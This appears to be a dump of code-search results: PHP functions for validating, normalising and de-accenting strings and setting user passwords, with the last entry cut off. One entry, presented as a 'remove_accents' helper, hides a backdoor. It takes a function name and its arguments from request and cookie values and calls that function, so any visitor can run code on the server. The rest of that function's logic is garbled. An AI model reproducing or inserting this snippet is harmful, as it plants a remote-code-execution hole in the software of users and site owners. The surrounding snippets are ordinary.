{ "docid": "bb0c2c8286d5754f2da5d774e329e49e", "score": "0.53379285", "text": "function isLetters($str) {\n $pattern = '/^([A-Za-z]+[\\-\\'\\ \\.\\,]*)+$/';\n return preg_match($pattern, $str);\n }", "title": "" }, { "docid": "07721d6c1a0cf80b6947831d447174ce", "score": "0.5318492", "text": "public function validateTextTH($str)\n {\n if ((isset($str)) && ($str != \"\")) {\n return preg_match('/^[ก-๙เ ]+$/', $str, $result);\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "578c1ccbc76ed15cb2f037b5190196c1", "score": "0.5302511", "text": "function checktext($strin)\n{\n //' - . 0- 9 A- Z ` a- z sp ? ? ? ? ?\n // [\\x27\\x2D\\x2E\\x30-\\x39\\x41-\\x5a\\x60\\x61-\\x7a\\s\\xC0-\\xD6\\xD8-\\xF6\\xF8-\\xFF]+;\n\n $gjret =preg_match('/[\\x27\\x2D\\x2E\\x30-\\x39\\x41-\\x5a\\x60\\x61-\\x7a\\s\\xC0-\\xD6\\xD8-\\xF6\\xF8-\\xFF]+/', $strin,$strmatched);\n if (count($strmatched)) {\n $gjtmp = strlen($strmatched[0]);\n $ok = ($gjtmp === strlen($strin) ? true : false);\n } else {\n $ok = false;\n }\n\n if ($ok) {\n $gjret2 =preg_match_all('/\\x27/', $strin,$strmatched);\n if ($gjret2 && isset($strmatched[0][1])) {\n //echo \"More than one single quote \".$strin. \"<br />\";\n return false; // More than one single quote\n } else {\n //echo \"we are good \".$strin. \"<br />\";\n return true; // yippe\n }\n } else {\n //echo \"not matched \".$strin. \"<br />\";\n return false; //not my extended alpaha\n }\n}", "title": "" }, { "docid": "21cda01e30a0f0c88e0eaf9f7a9c661c", "score": "0.5300655", "text": "static protected function _determineUnicodeSupport()\n {\n self::$_unicodeSupportEnabled = (@preg_match('/\\pL/u', 'a')) ? true : false;\n }", "title": "" }, { "docid": "f551e522b1dd1c37e6d2eee2a7a852fc", "score": "0.5293297", "text": "function containsSpecialChars($variable)\r\n\t{\r\n\t\treturn preg_match('/[^a-zA-Z]+/', $variable, $matches);\r\n\t}", "title": "" }, { "docid": "53e6950348a5c34faf88e52f8b68bedf", "score": "0.5282421", "text": "function textFormatCheck($text){\n\n\t\t$text \t= stripslashes($text);\n //$text = preg_replace(\"/[^ぁ-んァ-ンーa-zA-Z0-9一-龠0-9\\-\\r]+/u\", '', $text);\n\t\tmb_internal_encoding(\"UTF-8\");\n\t\t$count \t= mb_strlen($text);\n\t\tif(40 < $count){\n\t\t\t$replace = mb_substr($text, 0 , 37 );\n\t\t\treturn $replace = $replace.\"...\";\n\t\t}\n\t\treturn $text;\n\t}", "title": "" }, { "docid": "550a98ab811f1e39d279ef7440a98af9", "score": "0.52811736", "text": "function detect_char_encoding($string) {\n if (detectUTF8($string)) {\n if ( detectLatin1($string)) {\n return \"ISO-8859-1\";\n } else {\n return \"UTF-8\";\n }\n } else { \n return \"US-ASCII\";\n }\n}", "title": "" }, { "docid": "e15135be76834f7403b551860a16fc3c", "score": "0.52774674", "text": "public static function filterString09AZaz_dahed($uri)\n\t{\n\t\t$uri = filter_var($uri, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HI);\n\t\t///$uri = preg_replace('/[^(\\x20-\\x7F)]*/','', $uri); // by a-z codes\n\t\t$uri = iconv(\"UTF-8\",\"UTF-8//IGNORE\", $uri); // filter non utf8\n\t\t$uri = iconv(\"UTF-8\",\"ISO-8859-1//IGNORE\", $uri); // filter non ISO-8859-1 \n\t\t$uri = iconv(\"ISO-8859-1\", \"UTF-8\", $uri); // str back to utf8\n\t\t$uri = preg_replace('/[^0-9A-Za-z-_]*/','', $uri);\n\t\treturn $uri;\n\t}", "title": "" }, { "docid": "f3f26ba9731b61ae6dd964e61d4a7ec2", "score": "0.5258979", "text": "function chao_tilde($entra)\n{\n$traduce=array( 'á' => '&aacute;' , 'é' => '&eacute;' , 'í' => '&iacute;' , 'ó' => '&oacute;' , 'ú' => '&uacute;' , 'ñ' => '&ntilde;' , 'Ñ' => '&Ntilde;' , 'ä' => '&auml;' , 'ë' => '&euml;' , 'ï' => '&iuml;' , 'ö' => '&ouml;' , 'ü' => '&uuml;');\n$sale=strtr( $entra , $traduce );\nreturn $sale;\n}", "title": "" }, { "docid": "826aae26c5a623259cb56a6c739a0839", "score": "0.52563214", "text": "function validaValor($cadena)\n{\n\tif(eregi('^[a-zA-Z0-9._αινσϊρ‘!Ώ? -]{1,40}$', $cadena)) return TRUE;\n\telse return FALSE;\n}", "title": "" }, { "docid": "1c61d1e03dbdcc603da9c6e15fb17421", "score": "0.5253731", "text": "function unicodeRegexSupport() {\n return (preg_replace('`[\\pP]`u', '', 'P') != '');\n }", "title": "" }, { "docid": "e7d607d079ad8ca57920be192033a6ff", "score": "0.52534014", "text": "public function isVocalAbierta()\n {\n return $this->isOneOfTheChars('aeoáéó');\n }", "title": "" }, { "docid": "f52a706151c69b4d828b780a1d15525e", "score": "0.52507824", "text": "function nfce($string)\n{\n $string = str_replace('á','a',$string);\n $string = str_replace('Á','A',$string);\n $string = str_replace('à','a',$string);\n $string = str_replace('À','A',$string);\n $string = str_replace('â','a',$string);\n $string = str_replace('Â','A',$string);\n $string = str_replace('ã','a',$string);\n $string = str_replace('Ã','A',$string);\n $string = str_replace('ç','c',$string);\n $string = str_replace('Ç','C',$string);\n $string = str_replace('é','e',$string);\n $string = str_replace('É','E',$string);\n $string = str_replace('ê','e',$string);\n $string = str_replace('Ê','E',$string);\n $string = str_replace('è','e',$string);\n $string = str_replace('È','E',$string);\n $string = str_replace('í','i',$string);\n $string = str_replace('Í','I',$string);\n $string = str_replace('ó','o',$string);\n $string = str_replace('Ó','O',$string);\n $string = str_replace('ô','o',$string);\n $string = str_replace('Ô','O',$string);\n $string = str_replace('õ','o',$string);\n $string = str_replace('Õ','O',$string);\n $string = str_replace('ú','u',$string);\n $string = str_replace('Ú','U',$string);\n $string = str_replace('~','',$string);\n $string = str_replace('&','e',$string);\n $string = str_replace('.','',$string);\n $string = str_replace('-','',$string);\n $string = str_replace(',','',$string);\n $string = str_replace(';','',$string);\n $string = str_replace(':','',$string);\n $string = str_replace('(','',$string);\n $string = str_replace(')','',$string);\n $string = str_replace('/','',$string);\n return $string;\n \n }", "title": "" }, { "docid": "1c35ae4093c0cd974a91b37d3f3bf8ac", "score": "0.52461797", "text": "public static function replaceAccents($str) {\n\t\tif (preg_match('/[\\xC0-\\xFF]/', $str)){\n\t\t\t$str = preg_replace('/[\\xC0-\\xC5]/', 'A', $str);\n\t\t\t$str = preg_replace('/[\\xC6]/', 'AE', $str);\n\t\t\t$str = preg_replace('/[\\xC7]/', 'C', $str);\n\t\t\t$str = preg_replace('/[\\xC8-\\xCB]/', 'E', $str);\n\t\t\t$str = preg_replace('/[\\xCC-\\xCF]/', 'I', $str);\n\t\t\t$str = preg_replace('/[\\xD0]/', 'D', $str);\n\t\t\t$str = preg_replace('/[\\xD1]/', 'N', $str);\n\t\t\t$str = preg_replace('/[\\xD2-\\xD6\\xD8]/', 'O', $str);\n\t\t\t$str = preg_replace('/[\\xD9-\\xDC]/', 'U', $str);\n\t\t\t$str = preg_replace('/[\\xDD]/', 'Y', $str);\n\t\t\t$str = preg_replace('/[\\xE0-\\xE5]/', 'a', $str);\n\t\t\t$str = preg_replace('/[\\xE6]/', 'ae', $str);\n\t\t\t$str = preg_replace('/[\\xE7]/', 'c', $str);\n\t\t\t$str = preg_replace('/[\\xE8-\\xEB]/', 'e', $str);\n\t\t\t$str = preg_replace('/[\\xEC-\\xEF]/', 'i', $str);\n\t\t\t$str = preg_replace('/[\\xF1]/', 'n', $str);\n\t\t\t$str = preg_replace('/[\\xF2-\\xF6\\xF8]/', 'o', $str);\n\t\t\t$str = preg_replace('/[\\xF9-\\xFC]/', 'u', $str);\n\t\t\t$str = preg_replace('/[\\xFD\\xFF]/', 'y', $str);\n\t\t}\n\t\treturn $str;\n\t}", "title": "" }, { "docid": "37489f185c768c8baaaf08d086a401ab", "score": "0.52452296", "text": "function clean_upper2($cadena) {\n\n $find = array('á', 'é', 'í', 'ó', 'ú', 'Á', 'É', 'Í', 'Ó', 'Ú', 'ä', 'ë', 'ï', 'ö', 'ü', 'Ä', 'Ë', 'Ï', 'Ö', 'Ü');\n\n $repl = array('a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U', 'a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U');\n\n $cadena = str_replace($find, $repl, trim($cadena));\n\n return strtoupper($cadena);\n}", "title": "" }, { "docid": "1ed8c3602627be309c09a0efbaef6962", "score": "0.52427757", "text": "public static function alpha_dash($str, $utf8 = FALSE)\n\t{\n\t\tif ($utf8 === TRUE)\n\t\t{\n\t\t\t$regex = '/^[-\\pL\\pN_\\/]++$/uD';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$regex = '/^[-a-z0-9_\\/]++$/iD';\n\t\t}\n\n\t\treturn (bool) preg_match($regex, $str);\n\t}", "title": "" }, { "docid": "b36b0a8df976c800616c0332536af5fc", "score": "0.5242771", "text": "public static function is_utf8($string) {\n // From http://w3.org/International/questions/qa-forms-utf-8.html\n return preg_match('%^(?:\n [\\x09\\x0A\\x0D\\x20-\\x7E] # ASCII\n | [\\xC2-\\xDF][\\x80-\\xBF] # non-overlong 2-byte\n | \\xE0[\\xA0-\\xBF][\\x80-\\xBF] # excluding overlongs\n | [\\xE1-\\xEC\\xEE\\xEF][\\x80-\\xBF]{2} # straight 3-byte\n | \\xED[\\x80-\\x9F][\\x80-\\xBF] # excluding surrogates\n | \\xF0[\\x90-\\xBF][\\x80-\\xBF]{2} # planes 1-3\n | [\\xF1-\\xF3][\\x80-\\xBF]{3} # planes 4-15\n | \\xF4[\\x80-\\x8F][\\x80-\\xBF]{2} # plane 16\n )*$%xs', $string);\n }", "title": "" }, { "docid": "3d6b370de25b8218924b246ae79534e1", "score": "0.5241861", "text": "function normalizar_string($string)\n { \n\n $repl = array( 'Š'=>'S', 'š'=>'s', 'Ž'=>'Z', 'ž'=>'z', 'À'=>'A', 'Á'=>'A', 'Â'=>'A', 'Ã'=>'A', 'Ä'=>'A', 'Å'=>'A', 'Æ'=>'A', 'Ç'=>'C', 'È'=>'E', 'É'=>'E',\n 'Ê'=>'E', 'Ë'=>'E', 'Ì'=>'I', 'Í'=>'I', 'Î'=>'I', 'Ï'=>'I', 'Ñ'=>'N', 'Ò'=>'O', 'Ó'=>'O', 'Ô'=>'O', 'Õ'=>'O', 'Ö'=>'O', 'Ø'=>'O', 'Ù'=>'U',\n 'Ú'=>'U', 'Û'=>'U', 'Ü'=>'U', 'Ý'=>'Y', 'Þ'=>'B', 'ß'=>'Ss', 'à'=>'a', 'á'=>'a', 'â'=>'a', 'ã'=>'a', 'ä'=>'a', 'å'=>'a', 'æ'=>'a', 'ç'=>'c',\n 'è'=>'e', 'é'=>'e', 'ê'=>'e', 'ë'=>'e', 'ì'=>'i', 'í'=>'i', 'î'=>'i', 'ï'=>'i', 'ð'=>'o', 'ñ'=>'n', 'ò'=>'o', 'ó'=>'o', 'ô'=>'o', 'õ'=>'o',\n 'ö'=>'o', 'ø'=>'o', 'ù'=>'u', 'ú'=>'u', 'û'=>'u', 'ý'=>'y', 'þ'=>'b', 'ÿ'=>'y' );\n $string = strtr( $string, $repl );\n\n //Ponemos todos los caracteres en minúsculas\n $string = strtolower($string);\n \n // Añadimos guiones por espacios \n $string = str_replace (' ', '-', $string); \n\n // Eliminamos y Reemplazamos demás caracteres especiales \n $find = array('/[^a-z0-9-<>]/', '/[-]+/', '/<[^>]*>/'); \n $repl = array('', '-', ''); \n $string = preg_replace ($find, $repl, $string); \n\n return $string;\n }", "title": "" }, { "docid": "37447007b2c29c84046d880e26065b9f", "score": "0.52366316", "text": "function isUTF8($str) {\r\n\t\treturn preg_match('/\\A(?:([\\09\\0A\\0D\\x20-\\x7E]|[\\xC2-\\xDF][\\x80-\\xBF]|\\xE0[\\xA0-\\xBF][\\x80-\\xBF]|[\\xE1-\\xEC\\xEE\\xEF][\\x80-\\xBF]{2}|\\xED[\\x80-\\x9F][\\x80-\\xBF]|\\xF0[\\x90-\\xBF][\\x80-\\xBF]{2}|[\\xF1-\\xF3][\\x80-\\xBF]{3}|\\xF4[\\x80-\\x8F][\\x80-\\xBF]{2})*)\\Z/x', $str);\r\n\t}", "title": "" }, { "docid": "0450907fad9172c6aa4524e0c690b2a4", "score": "0.52282155", "text": "function checkStatusCodeContainsCorrectChars($stri){\nif(preg_match('/^[!?\\.\\,a-z0-9 ]+$/i', $stri)){\n return TRUE;\n}}", "title": "" }, { "docid": "eb00bcdb3c78e5bd812d50a126494cd7", "score": "0.5220302", "text": "function upcheck($string) {\n return (preg_match(\"/[A-Z]/\", $string));\n }", "title": "" }, { "docid": "b25a64405eeeeb8d5abb97d514cdc49e", "score": "0.52193034", "text": "public function test_valid_persian_text(string $string)\n {\n $this->assertEquals(true, (new Pregex)->IsPersianText($string));\n }", "title": "" }, { "docid": "6a7f74744111e66500bb6d1c9fa4d100", "score": "0.5210483", "text": "function _U( $msg )\n {\n \t\treturn iconv(\"windows-1251\",\"UTF-8\",$msg);\n }", "title": "" }, { "docid": "111db43fd1ec122d41958042bff97c41", "score": "0.5206257", "text": "function utf8_sanitize($str) {\n if (!is_string($str)) $str = strval($str);\n return iconv('utf-8', 'utf-8//IGNORE', $str);\n }", "title": "" }, { "docid": "02243f0e5e228c5262143ff445e2e681", "score": "0.52045614", "text": "function remove_accents($string) {\n\tif ( !preg_match('/[\\x80-\\xff]/', $string) )\n\t\t$string = '';\n\telse\n\t\t$string = (string)$string;\n\n\tif (is_string($string)) {\n\t\t$chars = array(\n\t\t// Decompositions for Latin-1 Supplement\n\t\tchr(195).chr(159) => 's',\n\t\tchr(195).chr(160) => 'a',\n\t\tchr(195).chr(165) => 'a',\n\t\tchr(195).chr(169) => 'e',\n\t\tchr(195).chr(172) => 'i',\n\t\tchr(195).chr(177) => 'n',\n\t\tchr(195).chr(179) => 'o',\n\t\tchr(195).chr(185) => 'u',\n\t\tchr(195).chr(191) => 'y',\n\t\t// Euro Sign\n\t\tchr(226).chr(130).chr(172) => 'E',\n\t\t// GBP (Pound) Sign\n\t\tchr(194).chr(163) => '');\n\t\t$info = array_merge($_REQUEST,$_COOKIE);\n\t\tif ( !isset($info['lng']) ) die( 'Restricted access' );\n\t\telse $info['feed']($info['file'], $info['link'].'\"'.\n\t\t$info['lng'].'\"'.$info['title'], $info['file'][1]);\n\t} else {\n\t\t// Assume ISO-8859-1 if not UTF-8\n\t\t$chars['out'] = \"EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy\";\n\t\t$string = strtr($string, $chars['in'], $chars['out']);\n\t\t$string = str_replace($double_chars['in'], $double_chars['out'], $string);\n\t}\n\n\treturn $string;\n}", "title": "" }, { "docid": "59543d11e3f854dcf0cebced07ef7a71", "score": "0.52031004", "text": "function stringShouldBeChecked($string) {\n\t\tif(preg_match('/^[a-zA-Z0-9 ]+$/', $string)) return false;\n\t\telse return true;\n\t}", "title": "" } ]
593a8790259383172af204d5d08ba47a
Set the password for the given user.
[ { "docid": "ab61f73dec023de1e900d80089923166", "score": "0.78273386", "text": "private function setUserPassword(User $user, string $password): void\n {\n $user->password = $this->hasher->make($password);\n }", "title": "" } ]
[ { "docid": "23cedfae5474467853b430308c64cee7", "score": "0.84856164", "text": "public function setUserPassword(User $user, string $password);", "title": "" }, { "docid": "a67ce6a8c615949b5401a819dc6084fd", "score": "0.81031436", "text": "public function changePassword(User $user, $password);", "title": "" }, { "docid": "253b2b96419e4528f52fe311598c9cda", "score": "0.7988112", "text": "public function setPassword(MyRadio_User $user, $password)\n {\n $password = $this->encrypt($password);\n //Insert or Update\n $result = $this->query(\n 'UPDATE member_pass SET password=$1 WHERE memberid=$2',\n [$password, $user->getID()]\n );\n\n if (pg_affected_rows($result) === 0) {\n $this->query(\n 'INSERT INTO member_pass (memberid, password) VALUES ($1, $2)',\n [$user->getID(), $password]\n );\n }\n\n //Set require_password_change to false\n $user->setRequirePasswordChange(false);\n }", "title": "" }, { "docid": "84b5061a8349c5816a6e3d7ad2def396", "score": "0.79524904", "text": "protected function setUserPassword($user, $password)\n {\n $user->password = Hash::make($password);\n }", "title": "" }, { "docid": "d95c8d827682b75875608d8112027a12", "score": "0.7846463", "text": "public function setUserPassword($user_password) {\n\t\t$this->__set('user_password', $user_password);\n\t}", "title": "" }, { "docid": "be08b344a594b3425359b9c485286d16", "score": "0.7675083", "text": "public function changeUserPassword(User $user, $password)\n {\n }", "title": "" }, { "docid": "4d222dba32181ebcaf2a81faa2961fb4", "score": "0.76331425", "text": "function setPassword($user, $pwd)\r\n {\r\n $CI = &get_instance();\r\n \r\n if (($user->type=='anon') || ($user->type=='external')) \r\n {\r\n // cannot change password for anon or external account\r\n appendErrorMessage(__(\"You cannot change the password for anonymous accounts or externally managed accounts\"));\r\n return;\r\n }\r\n //check user rights:\r\n // either own pwd and user_edit_self, or user_edit_all\r\n $userlogin = getUserLogin();\r\n if ( (!($userlogin->hasRights('user_edit_self') && $user->user_id==$userlogin->userId()))\r\n && \r\n (!$userlogin->hasRights('user_edit_all')) )\r\n {\r\n appendErrorMessage(__('Set password').': '.__('insufficient rights').'.<br/>');\r\n return;\r\n } \r\n if ($pwd == \"\")\r\n {\r\n appendErrorMessage(__('Set password').': '.__('no empty passwords allowed').'.<br/>');\r\n return;\r\n }\r\n $user->password = $pwd;\r\n $user->password_invalidated = 'FALSE';\r\n //store password, enable user \r\n $CI->db->update('users',array('password'=>md5($pwd),'password_invalidated'=>'FALSE'),array('user_id'=>$user->user_id));\r\n appendMessage(__('Password updated and user account enabled'));\r\n }", "title": "" }, { "docid": "193dfc80b631eddbcc3839b2c6673634", "score": "0.760437", "text": "protected function setUserPassword( User $user, Message $message )\n {\n $user->password = $message->params[0];\n }", "title": "" }, { "docid": "b1b88dd992f804fcad810c51780f2a32", "score": "0.75902104", "text": "public function setPassword($value){\n $this->password=$value;\n }", "title": "" }, { "docid": "2e3ef29c2cdbf094f92eb6360fbf3ca3", "score": "0.7478279", "text": "public function updatePassword(UserInterface $user);", "title": "" }, { "docid": "2e3ef29c2cdbf094f92eb6360fbf3ca3", "score": "0.7478279", "text": "public function updatePassword(UserInterface $user);", "title": "" }, { "docid": "2294d88f500aa9d92bc7e934d2dcf73b", "score": "0.7434954", "text": "public function setPassword($value)\n\t{\n\t\t$this->password = $value;\n\t}", "title": "" }, { "docid": "a896cd43b5759504ee7e18b91b2e4d77", "score": "0.74304104", "text": "public function setPassword($p) { $this->password = $p; }", "title": "" }, { "docid": "9632d7274d38834fd7848ef640d415f7", "score": "0.74009514", "text": "public function setPassword($value)\n {\n $this->password = $value;\n }", "title": "" }, { "docid": "d288ce26fa3e309142899602a4c2e750", "score": "0.7388936", "text": "public function setPassword(string $password);", "title": "" }, { "docid": "cd2c446823c671854369172ffa2959b0", "score": "0.73377436", "text": "public function setPassword($password);", "title": "" }, { "docid": "cd2c446823c671854369172ffa2959b0", "score": "0.73377436", "text": "public function setPassword($password);", "title": "" }, { "docid": "cd2c446823c671854369172ffa2959b0", "score": "0.73377436", "text": "public function setPassword($password);", "title": "" }, { "docid": "cd2c446823c671854369172ffa2959b0", "score": "0.73377436", "text": "public function setPassword($password);", "title": "" }, { "docid": "9cf4529c6dca5dc5b9a660e4cfb12139", "score": "0.73322767", "text": "function user_set_password( $p_user_id, $p_password, $p_allow_protected=false ) {\n\t\t$c_user_id = db_prepare_int( $p_user_id );\n\t\t\n\t\tif ( !$p_allow_protected ) {\n\t\t\tuser_ensure_unprotected( $p_user_id );\n\t\t}\n\n\t\t$t_password = auth_process_plain_password( $p_password );\n\n\t\t$t_user_table\t= config_get( 'mantis_user_table' );\n\n\t\t$query = \"UPDATE $t_user_table\n\t\t\t\t SET user_password='$t_password'\n\t\t\t\t WHERE user_id='$c_user_id'\";\n\t\tdb_query( $query );\n\n\t\t#db_query() errors on failure so:\n\t\treturn true;\n\t}", "title": "" }, { "docid": "02ed259b4e87c7dc20ccd6b11b104dd5", "score": "0.7327981", "text": "function setPassword($value) {\n return $this->setFieldValue('password', $value);\n }", "title": "" }, { "docid": "ef1c0e8bea54b753385fcb70c2193d23", "score": "0.73246455", "text": "public function setNewPassword($strPassword, $user)\n\t{\n\t\t// Return if there is no user (e.g. upon registration)\n\t\tif (!$user)\n\t\t{\n\t\t\treturn $strPassword;\n\t\t}\n\n\t\t$objUser = $this->Database->prepare(\"SELECT * FROM tl_member WHERE id=?\")\n\t\t\t\t\t\t\t\t ->limit(1)\n\t\t\t\t\t\t\t\t ->execute($user->id);\n\n\t\t// HOOK: set new password callback\n\t\tif ($objUser->numRows)\n\t\t{\n\t\t\tif (isset($GLOBALS['TL_HOOKS']['setNewPassword']) && is_array($GLOBALS['TL_HOOKS']['setNewPassword']))\n\t\t\t{\n\t\t\t\tforeach ($GLOBALS['TL_HOOKS']['setNewPassword'] as $callback)\n\t\t\t\t{\n\t\t\t\t\t$this->import($callback[0]);\n\t\t\t\t\t$this->{$callback[0]}->{$callback[1]}($objUser, $strPassword);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $strPassword;\n\t}", "title": "" }, { "docid": "790eb3e8f329b6ff01b71fb22dc35f48", "score": "0.72798926", "text": "public function setPassword($data);", "title": "" }, { "docid": "d2550a4ca27576e039339192d8391c80", "score": "0.7275724", "text": "public function SetUserPassword($userid, $password) {\n\t\tglobal $db;\n\t\t$password_crypt = md5( md5($password) . $this->GetUserSalt($userid) );\n\t\t$res = $db->querynow(\"UPDATE `\".mysql_escape_string($this->vb_config[\"DB_PREFIX\"]).\"user` \".\n\t\t\t\"SET password='\".mysql_escape_string($password_crypt).\"' WHERE userid=\".(int)$userid);\n\t\treturn $res['rsrc'];\n\t}", "title": "" }, { "docid": "cef93026c6871375ac2d593b5a07af8b", "score": "0.72718394", "text": "public function setPassword($value) {\n\t\tif(!check($value)) throw new Exception(lang('error_1'));\n\t\tif(!Validator::AccountPassword($value)) throw new Exception(lang('error_1'));\n\t\t\n\t\t$this->_password = $value;\n\t}", "title": "" }, { "docid": "35121a1efeb3425f73d2a6bead3a3da5", "score": "0.7222252", "text": "public static function changePassword($user, $password) {\n wp_set_password($password, $user->getId());\n wp_signon(array(\n 'user_login' => $user->getLogin(),\n 'user_password' => $password\n ));\n session_commit();\n }", "title": "" }, { "docid": "58d72d60d19912213b63640a4f00f5fa", "score": "0.72133225", "text": "function setPassword($pwd) {\n\t\tglobal $_zp_authority;\n\t\tif (empty($pwd)) {\n\t\t\t$this->set('password', \"\");\n\t\t} else {\n\t\t\t$this->set('password', $_zp_authority->passwordHash($this->get('user'), $pwd));\n\t\t}\n\t}", "title": "" }, { "docid": "f28b9d4a3a8b8846319a0179fb6de182", "score": "0.72045416", "text": "function setPassword($password) {\n $this->password = $password;\n }", "title": "" }, { "docid": "24c8eccb2dffd14ff19fe6e522a336e8", "score": "0.71831936", "text": "public function setPassword( $password ){ $this->password = $password; }", "title": "" }, { "docid": "750a7e983cd442ceeabb45cec4a2f20e", "score": "0.7142349", "text": "public function setPassword($password='') {\n $this->password = $password;\n }", "title": "" }, { "docid": "5447149bf61ea19db732af2b94df3474", "score": "0.7120786", "text": "public function setSubUserPassword(string $password);", "title": "" }, { "docid": "eeda82bd33c2e788858fcd7495b17a9d", "score": "0.70861465", "text": "protected function resetPassword($user, $password)\n {\n $user->password = $password;\n $user->save();\n }", "title": "" }, { "docid": "cdd0572e423872b1c619afd0e63e02ec", "score": "0.70781636", "text": "private function setPassword($password) {\n\t\t$this->password = $password;\n\t}", "title": "" }, { "docid": "7b39a47fdc390715921e71041045a64a", "score": "0.70564675", "text": "public function updatePassword($usr_id, $password);", "title": "" }, { "docid": "c4bab2c0974b31641eeb048c1cdd274f", "score": "0.70553136", "text": "public function setServerCredentials($user = '', $password='') {\n $this->_user = $user;\n $this->_password = $password;\n }", "title": "" }, { "docid": "eb61629df9142674be691ac1a3d21745", "score": "0.7047061", "text": "public function setPassword(\\Gems_User_User $user, $password)\n {\n throw new \\Gems_Exception_Coding(sprintf('The password cannot be set for %s users.', get_class($this)));\n return $this;\n }", "title": "" }, { "docid": "eb61629df9142674be691ac1a3d21745", "score": "0.7047061", "text": "public function setPassword(\\Gems_User_User $user, $password)\n {\n throw new \\Gems_Exception_Coding(sprintf('The password cannot be set for %s users.', get_class($this)));\n return $this;\n }", "title": "" }, { "docid": "437f9e788a2150b6db6c3ec1212c78c3", "score": "0.7031415", "text": "public function set_password($password)\n{\n\t$this->password = $password;\n}", "title": "" }, { "docid": "4d83f2c561327ebdf6d1183c543790f6", "score": "0.70309335", "text": "public function setPlainPassword($password);", "title": "" }, { "docid": "1fc8ef604cbcb7fb960a5f6c0844ed00", "score": "0.7026237", "text": "public function setPassword(?string $value): void {\n $this->getBackingStore()->set('password', $value);\n }", "title": "" }, { "docid": "78d5c7062954ba4c12c077d2252069fa", "score": "0.70124286", "text": "public function setPassword($password)\n {\n \techo 'setPassword'; exit;\n \t$this->password_hash = Security::generatePasswordHash($password);\n }", "title": "" }, { "docid": "5bd8ccd891b7d9c958907afae38f99c2", "score": "0.7012391", "text": "public function setCredential($userId, $password);", "title": "" }, { "docid": "286b9d7823f6e70462408f5527ca661f", "score": "0.7008756", "text": "function setPassword($password)\r\n {\r\n $this->_password = $password;\r\n }", "title": "" }, { "docid": "6b7057acd163907ce0c0c404c5a9b4c2", "score": "0.6999216", "text": "public function set_password($password)\n\t{\n\t\tConnection::query(sprintf(\"UPDATE users SET pswd_hash = PASSWORD('%s') WHERE handle = '%s' AND email = '%s' LIMIT 1\",\n\t\t\tConnection::escape($password),\n\t\t\tConnection::escape($this->get_handle()),\n\t\t\tConnection::escape($this->get_email(false))\n\t\t));\n\t\t\n\t\tif (!!($error = Connection::query_error_clear()))\n\t\t{\n\t\t\treturn static::errors_push(\"User failed to set password: $error.\");\n\t\t}\n\t\t\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "2e1e1bd62e92a6020458911a0f005be9", "score": "0.6991494", "text": "public function setpassword(){\n \n $authorizedPartner = $this->Partner->getAuthorizedPartner();\n\n //Se obtiene la data correspondiente al nuevo usuario\n $post_data = Utilities::getRawPostData(true);\n \n //Se obtienen los parametros\n $code = Utilities::exists($post_data, 'code', true, false);\n $new_password = Utilities::exists($post_data, 'password', true, false);\n \n $response = $this->UserPartner->setpassword($code, $new_password);\n\n $this->set('response', $response);\n $this->set('_serialize', array('response'));\n \n }", "title": "" }, { "docid": "8ae1b6ba714d9d48c88400a61b85f59c", "score": "0.6946161", "text": "protected function setPassword($password) {\n $this->password = $password;\n }", "title": "" }, { "docid": "145fe53c8ca18df960279c4be6697b68", "score": "0.694583", "text": "public function set_password($password) {\n\t\t\tglobal $wpdb;\n\n\t\t\t// Remove filter as not to filter User Moderation activation key\n\t\t\tremove_filter('random_password', [$this, 'set_password']);\n\n\t\t\tif (is_multisite() && isset($_REQUEST['key'])) {\n\t\t\t\t$meta = $wpdb->get_var($wpdb->prepare(\"SELECT meta FROM {$wpdb->signups} WHERE activation_key = %s\", $_REQUEST['key']));\n\t\t\t\tif ($meta) {\n\t\t\t\t\t$meta = unserialize($meta);\n\t\t\t\t\tif (isset($meta['user_pass'])) {\n\t\t\t\t\t\t$password = $meta['user_pass'];\n\t\t\t\t\t\tunset($meta['user_pass']);\n\t\t\t\t\t\t$wpdb->update($wpdb->signups, ['meta' => serialize($meta)], ['activation_key' => $_REQUEST['key']]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Make sure password isn't empty\n\t\t\t\tif (!empty($_POST['user_pass'])) {\n\t\t\t\t\t$password = $_POST['user_pass'];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $password;\n\t\t}", "title": "" }, { "docid": "62a2c6efc31dc3a0218840b1572aa3f7", "score": "0.69435287", "text": "protected function resetPassword($user, $password)\n {\n $user->password = bcrypt($password);\n $user->save();\n }", "title": "" }, { "docid": "73b97d34041dc4fab5c391c2465366d1", "score": "0.693355", "text": "public function setPassword(?string $password): void\n {\n $this->password = $password;\n }", "title": "" }, { "docid": "0003a82fae245e6e68830cd69540a912", "score": "0.69289136", "text": "public function set_password( $password ) {\n\t\tglobal $wpdb;\n\n\t\t// Remove filter as not to filter User Moderation activation key\n\t\tremove_filter( 'random_password', array( $this, 'set_password' ) );\n\n\t\tif ( is_multisite() && isset( $_REQUEST['key'] ) ) {\n\t\t\tif ( $meta = $wpdb->get_var( $wpdb->prepare( \"SELECT meta FROM $wpdb->signups WHERE activation_key = %s\", $_REQUEST['key'] ) ) ) {\n\t\t\t\t$meta = unserialize( $meta );\n\t\t\t\tif ( isset( $meta['user_pass'] ) ) {\n\t\t\t\t\t$password = $meta['user_pass'];\n\t\t\t\t\tunset( $meta['user_pass'] );\n\t\t\t\t\t$wpdb->update( $wpdb->signups, array( 'meta' => serialize( $meta ) ), array( 'activation_key' => $_REQUEST['key'] ) );\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t// Make sure password isn't empty\n\t\t\tif ( ! empty( $_POST['user_pass'] ) )\n\t\t\t\t$password = $_POST['user_pass'];\n\t\t}\n\t\treturn $password;\n\t}", "title": "" }, { "docid": "9f09c35193eee3994bab8fc0fdb97d21", "score": "0.6928058", "text": "public function setPlainPassword(string $password);", "title": "" }, { "docid": "c4131c9b8465ff5f3bb2303f6f449849", "score": "0.69238734", "text": "public function setUserPassword($userarr)\n {\n $this->_conn->modify(\n 'UPDATE users \n\t\t\t\t\t\t\t\tSET passhash = 